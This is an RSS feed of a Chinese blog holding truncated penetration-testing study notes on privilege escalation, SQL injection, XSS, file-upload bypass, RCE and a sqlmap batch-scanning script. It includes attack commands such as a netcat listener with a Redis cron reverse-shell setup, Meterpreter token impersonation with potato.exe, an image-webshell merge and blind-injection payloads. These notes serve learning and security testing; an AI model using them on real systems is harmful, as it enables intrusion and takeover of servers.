<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[weixin_46425310的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/weixin_46425310</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; weixin_46425310]]></copyright><item><title><![CDATA[超好用的cms识别python多线程web指纹扫描器]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/121986418</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/121986418</guid><author>weixin_46425310</author><pubDate>Thu, 16 Dec 2021 23:31:08 +0800</pubDate><description><![CDATA[工具链接：https://github.com/cyber-word/Fuckcms/
ctf，日常渗透必备，笔者用这个做ctf简直不要太爽。

]]></description><category></category></item><item><title><![CDATA[python实现爬取包含特定内容的URL 配合sqlmap实现批量扫描sql注入]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119347823</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119347823</guid><author>weixin_46425310</author><pubDate>Tue, 03 Aug 2021 13:18:41 +0800</pubDate><description><![CDATA[# coding: utf-8
import requests, re, threading
import time
from bs4 import BeautifulSoup as bs
from queue import Queue
from argparse import ArgumentParser

arg = ArgumentParser(description='baidu_url_collection')
arg.add_argument('-keyword', help='inurl:.a]]></description><category></category></item><item><title><![CDATA[权限提升-Redis&Postgre&令牌窃取&进程注入Redis：]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334897</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334897</guid><author>weixin_46425310</author><pubDate>Mon, 02 Aug 2021 21:53:42 +0800</pubDate><description><![CDATA[权限提升-Redis&amp;Postgre&amp;令牌窃取&amp;进程注入Redis：
利用计划任务执行命令反弹shell:首先利用redis未授权访问漏洞或者已知密码，登录redis服务，然后在root权限下利用redis内置命令进行反弹shell先在自己的服务器上监听一个端口 nc -lvnp 7999 然后执行命令: root@kali:~# redis-cli -h 192.168.63.130              192.168.63.130:6379&gt; set xx “\n* ]]></description><category></category></item><item><title><![CDATA[权限提升-烂土豆&dll劫持&引号路径&服务权限]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334889</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334889</guid><author>weixin_46425310</author><pubDate>Mon, 02 Aug 2021 21:52:58 +0800</pubDate><description><![CDATA[权限提升-烂土豆&amp;dll劫持&amp;引号路径&amp;服务权限
单纯令牌窃取：web权限或本地提权
令牌窃取失败后可以配合烂土豆来提权
在msf上：
upload  /root/potato.exe C:\Users\Public
cd C:\Users\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token “NT AUTHORITY\SYSTEM”
dll劫]]></description><category></category></item><item><title><![CDATA[权限提升-MY&MS&ORA等SQL数据库的提权]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334874</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334874</guid><author>weixin_46425310</author><pubDate>Mon, 02 Aug 2021 21:52:24 +0800</pubDate><description><![CDATA[权限提升-MY&amp;MS&amp;ORA等SQL数据库的提权
再利用系统溢出漏洞无果的情况下，可以采用数据库进行提权，但需要知道数据库提权的前提条件；服务器开启数据库服务以及能获取到最高权限用户密码。除Access数据库外，其他数据库基本都存在数据库提权的可能。
步骤：1.探针 2.收集 3.分类
探针：扫描不同数据库对应的特定端口；探测哪些服务开启
收集：权限密码的获取通过配置文件，存储文件，暴力猜解
分类：MySQL：UDF MOF 启动项 反弹shell
UDF提权（基于MySQL调用命令执行函数]]></description><category></category></item><item><title><![CDATA[提权-win溢出漏洞及AT&SC&PS提权]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334865</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334865</guid><author>weixin_46425310</author><pubDate>Mon, 02 Aug 2021 21:51:39 +0800</pubDate><description><![CDATA[提权-win溢出漏洞及AT&amp;SC&amp;PS提权
                Linux

服务器系统：
Windows：针对环境：web提权（拿下网站权限后想要获取服务器权限）或者本地提权（从普通用户提权到管理员）
提权方法：数据库，溢出漏洞，令牌窃取，第三方软件（WES，WindowsVulnScan，vulmap，msf），AT&amp;SC&amp;PS，不安全的服务权限，不带引号的服务路径，Unattended Installs，AlwaysInstallElevated
针对版本
]]></description><category></category></item><item><title><![CDATA[提权-网站权限后台漏洞第三方获取]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334838</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119334838</guid><author>weixin_46425310</author><pubDate>Mon, 02 Aug 2021 21:51:02 +0800</pubDate><description><![CDATA[提权-网站权限后台漏洞第三方获取
webshell获取
*
后台：文件上传，模板修改，数据备份，数据修改等功能，若有文件上传功能就可以拿shell
*
漏洞：文件上传，文件包含，RCE执行，SQL注入，若是已知cms,看有无已知漏洞拿shell
*
第三方：编辑器，中间件平台，phpmyadmin…
提升权限：重点明白当前获取的权限能做哪些事情。
后台权限，数据库权限，接口权限，系统权限，域控权限等
后台权限（爆破，sql注入爆库，弱口令）：一般网站或应用后台只能操作应用的界面内容，数据，图片等信息，无法操]]></description><category></category></item><item><title><![CDATA[Java序列化]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043500</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043500</guid><author>weixin_46425310</author><pubDate>Fri, 23 Jul 2021 20:06:25 +0800</pubDate><description><![CDATA[Java序列化
ysoserial：payload生成工具
Java中的api实现：
位置：java.io.ObjectOutputStream   java.io.ObjectInputStream
序列化：ObjectOutputStream类–&gt;writeObject()
该方法对参数指定的对象进行序列化，并把字节序列写到一个目标输出流中，按Java的标准是给文件一个.ser的扩展名
反序列化：ObjectInputStream–&gt;readObject()
该方法从一个源输入流中读取字节序]]></description><category></category></item><item><title><![CDATA[WEB漏洞之文件上传漏洞与文件包含漏洞的结合]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043494</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043494</guid><author>weixin_46425310</author><pubDate>Fri, 23 Jul 2021 20:05:41 +0800</pubDate><description><![CDATA[WEB漏洞之文件上传漏洞与文件包含漏洞的结合
以getimage()函数为例，只能上传图片，因此可以通过制作一个图片马来配合文件包含漏洞达到webshell

图片马的制作 在cmd中通过 copy /b 1.jpg+2.php 3.jpg 就可以将1.jpg与2.php合并成一个3.jpg。（若是在桌面上建立的文件的话，需要先cd desktop进入桌面文件夹）
然后通过文件包含漏洞,在通过PHP的相应函数（比如include()）引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，]]></description><category></category></item><item><title><![CDATA[PHP代码审计]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043478</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043478</guid><author>weixin_46425310</author><pubDate>Fri, 23 Jul 2021 20:04:29 +0800</pubDate><description><![CDATA[PHP代码审计
PHP一个数字和一个字符串进行比较或者进行运算时，PHP会把字符串转换成数字再进行比较。PHP转换的规则的是：若字符串以数字开头，则取开头数字作为转换结果，若无则输出0。 在PHP中，== 会先进行类型转换，再进行对比，而=会先比较类型，如果类型不同直接返回不相等。所以=更全面，不光比较值，还会比较类型。
当数字太长不识别时，可以用科学计数法，例如2亿为2e10
PHP代码审计
来源网址： https://www.feiniaomy.com/post/388.html
作者： DS
PHP代]]></description><category></category></item><item><title><![CDATA[WEB漏洞-RCE代码及命令执行漏洞代码执行]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043443</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/119043443</guid><author>weixin_46425310</author><pubDate>Fri, 23 Jul 2021 20:03:15 +0800</pubDate><description><![CDATA[WEB漏洞-RCE代码及命令执行漏洞代码执行：eg.
* eval()：PHP中函数，会将（）内的内容当作PHP代码来执行，例如eval(phpinfo()???? 就会显示出phpinfo()执行后的后果。
命令执行：eg.
* system() 可以执行外部命令，例如system(ipconfig)，可以返回在系统中调用ipconfig的结果。
漏洞形成条件：
1. 可控变量
2. 漏洞函数
利用系统命令执行漏洞时常常会用到管道符：Window系列支持的管道符如下所示。
* " | "：直接执行后面的语]]></description><category></category></item><item><title><![CDATA[WEB漏洞-RCE代码及命令执行漏洞]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/118000508</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/118000508</guid><author>weixin_46425310</author><pubDate>Thu, 17 Jun 2021 19:46:53 +0800</pubDate><description><![CDATA[WEB漏洞-RCE代码及命令执行漏洞

代码执行：eg.
eval()：PHP中函数，会将（）内的内容当作PHP代码来执行，例如eval(phpinfo()???? 就会显示出phpinfo()执行后的后果。
命令执行：eg.
system() 可以执行外部命令，例如system(ipconfig)，可以返回在系统中调用ipconfig的结果。
漏洞形成条件：

可控变量
漏洞函数



利用系统命令执行漏洞时常常会用到管道符：
Window系列支持的管道符如下所示。

" | "：直接执行后面的语句。例如]]></description><category></category></item><item><title><![CDATA[web漏洞-CSRF及SSRF漏洞]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/118000448</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/118000448</guid><author>weixin_46425310</author><pubDate>Thu, 17 Jun 2021 19:39:30 +0800</pubDate><description><![CDATA[web漏洞-CSRF及SSRF漏洞
CSRF：在引导用户访问的恶意网页中植入恶意请求包（例如转账请求），当用户在登录手机银行时同时访问恶意网页，就会执行该恶意请求。
如何检测有没有csrf:可以用burpsuite的CSRF poc generator模块来检测
防御方案：
*
tooken验证，每一个数据包包含一个tooken值，会根据tooken的值来判断执不执行数据包；
*
同源策略验证
*
设置验证码
*
限制请求方式只能为post
SSRF：服务器请求伪造，攻击者无法直接探测到内网主机信息，但可以]]></description><category></category></item><item><title><![CDATA[web漏洞-XSS跨站之代码及httponly绕过]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/118000379</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/118000379</guid><author>weixin_46425310</author><pubDate>Thu, 17 Jun 2021 19:37:00 +0800</pubDate><description><![CDATA[web漏洞-XSS跨站之代码及httponly绕过
httponly：设置后将使得通过js脚本无法读取到cookie
PHP中设置：&lt;?php
ini_set(“session.cookie_httponly”,1);
?&gt;
因为进入后台有通过cookie或通过账户密码，禁止js读取cookie，可以通过获取账号密码来登录后台。
获取账号密码：
保存读取：浏览器已经保存过之前登陆的账户密码，可以通过xss来获取保存的明文密码
未保存读取：采用表单劫持，必须在登录框页面写入xss跨站脚本
xss练]]></description><category></category></item><item><title><![CDATA[WEB漏洞-xss跨站 原理、分类、手法]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/117999591</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/117999591</guid><author>weixin_46425310</author><pubDate>Thu, 17 Jun 2021 18:39:24 +0800</pubDate><description><![CDATA[WEB漏洞-xss跨站 原理、分类、手法
原理：xss漏洞产生原理，xss漏洞危害
漏洞产生原理：对传入参数没有过滤，参数中包含了js代码且被执行。产生层面在前端，与浏览器内核版本有关，有的浏览器会阻止代码的执行。
分类：反射型（非持续性），存储型（持续性），DOM型
反射型：必须主动构造，主动触发。发包x= --&gt;本地浏览器静态前端代码–&gt;x.php，所以可以在审查元素中看到源代码中有关的代码
PHP等后端语言查看源码显示的为PHP代码执行后的结果
html等前端语言查看源代码显示的为原本的代]]></description><category></category></item><item><title><![CDATA[SQL注入之提交方法和数据类型]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809360</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809360</guid><author>weixin_46425310</author><pubDate>Sat, 12 Jun 2021 19:40:45 +0800</pubDate><description><![CDATA[SQL注入之提交方法和数据类型
参数类型：数字，字符，搜索，JSON等
字符：字符型数据在sql语句中会自带‘ ’如果不考虑符号直接注入会失败 例如?name=‘x and 1=1’
搜索：sql语句中的搜索默认符是%  ，select * from user where name like '%wang% ‘；，所以需要过滤 ‘%
也有可能用 ( ),{  , "等干扰
JSON的格式{
‘username’：‘www’,
‘password’:‘ss’,
}
请求方法：GET,REQUEST,POST,]]></description><category></category></item><item><title><![CDATA[WEB漏洞-SQL注入之查询方式及报错盲注]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809527</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809527</guid><author>weixin_46425310</author><pubDate>Sat, 12 Jun 2021 19:40:34 +0800</pubDate><description><![CDATA[WEB漏洞-SQL注入之查询方式及报错盲注
当进行SQL注入时，常常会遇到无回显的情况，不回显可能是因为SQL语句的查询方式的问题，这时候需要用到报错或盲注进行后续操作，在手工注入时，最好提前预知SQL语句的写法。
查询方式：增删查改 INSERT SELECT DELETE UPDATE
盲注分为以下三类：
布尔盲注-逻辑判断 ?id=1’+and+left((select+database()),2)=‘se’–+
时间盲注-延时判断 if，sleep
mid(a,b,c) 从位置b开始，截取a字符串的]]></description><category></category></item><item><title><![CDATA[SQL注入之堆叠及WAF绕过堆叠注入]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809624</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809624</guid><author>weixin_46425310</author><pubDate>Sat, 12 Jun 2021 19:40:00 +0800</pubDate><description><![CDATA[SQL注入之堆叠及WAF绕过堆叠注入：
堆叠注入：多条SQL语句一起执行，本质上就是将多条SQL语句通过 ;来一起注入
WAF绕过：更改提交方式，但是必须保证参数可以通过不同的提交方式接受；若拦截了数据，如database()等，可以通过大小写，加密解密，编码函数，等价函数（例如用mid取代ascii），特殊符号（不影响SQL语句正常执行，而可以绕过WAF正则表达式的搜索），反序列化，
注释符混用
（例如 select database()被拦截，但select (),select database均可以执]]></description><category></category></item><item><title><![CDATA[WEB漏洞-文件上传之后端黑白名单绕过]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809155</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809155</guid><author>weixin_46425310</author><pubDate>Fri, 11 Jun 2021 10:57:49 +0800</pubDate><description><![CDATA[WEB漏洞-文件上传之后端黑白名单绕过
文件上传常见验证：后缀名，类型，文件头
后缀名：黑名单，白名单
黑名单：asp php jsp aspx cgi war…
白名单:   txt  jpg zip rar gif…
类型：MIME信息
文件头：内容头信息
平台配置文件可能开启了以php解析php3,phtml,php5后缀，所以黑名单中如果疏漏了这些后缀，就可以绕过。（特殊解析后缀）
.htaccess（apache服务器中的一个配置文件）可以通过先上传一个.htaccess文件
&lt;FilesM]]></description><category></category></item><item><title><![CDATA[WEB漏洞-文件上传之基础及过滤方式]]></title><link>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809104</link><guid>https://blog.youkuaiyun.com/weixin_46425310/article/details/117809104</guid><author>weixin_46425310</author><pubDate>Fri, 11 Jun 2021 10:54:08 +0800</pubDate><description><![CDATA[WEB漏洞-文件上传之基础及过滤方式
常规类：扫描获取上传，会员中心上传，后台系统上传，各种途径上传
CMS类：已知CMS源码，搜索已知cms漏洞
编辑器类：ckeditor,fckeditor,kindeditor,xxxeditor，也是搜索相关编辑器漏洞
文件上传漏洞可以做什么：植入webshell，还可以提权。
配合解析漏洞下的文件类型后门：可以通过解析漏洞，上传包含后门代码的图片
防护文件上传：前端验证（通过js脚本)可以通过禁用js脚本，或者把源代码复制下来然后把过滤功能的代码删除掉，由于这时是]]></description><category></category></item></channel></rss>